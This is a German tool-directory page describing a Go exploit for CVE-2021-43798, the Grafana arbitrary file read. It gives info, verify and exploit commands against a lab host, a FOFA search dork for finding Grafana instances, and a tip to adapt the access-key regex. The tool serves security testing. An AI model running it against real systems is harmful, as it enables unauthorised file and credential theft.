Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2021-43798 — Grafana-Schwachstelle für beliebiges Dateilesen | Kitploit
Tools/GitHubGitHub/zer0yu/cve-2021-43798
SchwachstellenanalyseExploitationWebanwendungs-ExploitationInformationsbeschaffungPenetrationstests
GitHubzer0yu/cve-2021-43798

CVE-2021-43798

Grafana-Schwachstelle für beliebiges Dateilesen

Repository anzeigen
276vor 4 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

GrafanaArbitraryFileRead

Verwendung

1. Informationen anzeigen

root@kitploit:~
❯ go run main.go -s                                               
[INF] VulnInfo:
{
  "Name": "Grafana Arbitrary File Read",
  "VulID": "nil",
  "Version": "1.0",
  "Author": "z3",
  "VulDate": "2021-12-07",
  "References": [
    "https://nosec.org/home/detail/4914.html"
  ],
  "AppName": "Grafana",
  "AppPowerLink": "https://grafana.com/",
  "AppVersion": "Grafana Version 8.*",
  "VulType": "Arbitrary File Read",
  "Description": "An unauthorized arbitrary file reading vulnerability exists in Grafana, which can be exploited by an attacker to read arbitrary files on the host computer without authentication.",
  "Category": "REMOTE",
  "Dork": {
    "Fofa": "app=\"Grafana\"",
    "Quake": "",
    "Zoomeye": "",
    "Shodan": ""
  }
}%     

2. Überprüfen

root@kitploit:~
echo vulfocus.fofa.so:55628 | go run main.go -v -t 20
http://vulfocus.fofa.so:55628
Tool herunterladen

3. Ausnutzen

root@kitploit:~
echo http://vulfocus.fofa.so:51766 | go run main.go -m exploit -v

Umsetzung der Nutzungsidee aus Referenz 1. Um weitere Informationen zu extrahieren, ändern Sie bitte den regulären Ausdruck in der getAccesskey‑Funktion.

Referenzen

  1. Analyse des neuesten beliebigen Dateilesens in Grafana und Erläuterung abgeleiteter Probleme
  2. Grafana Unbefugte Schwachstelle zum Lesen beliebiger Dateien

Haftungsausschluss

Dieses Verfahren dient ausschließlich der Sicherheits-Selbstprüfung. Bitte halten Sie sich bewusst an die lokalen Gesetze.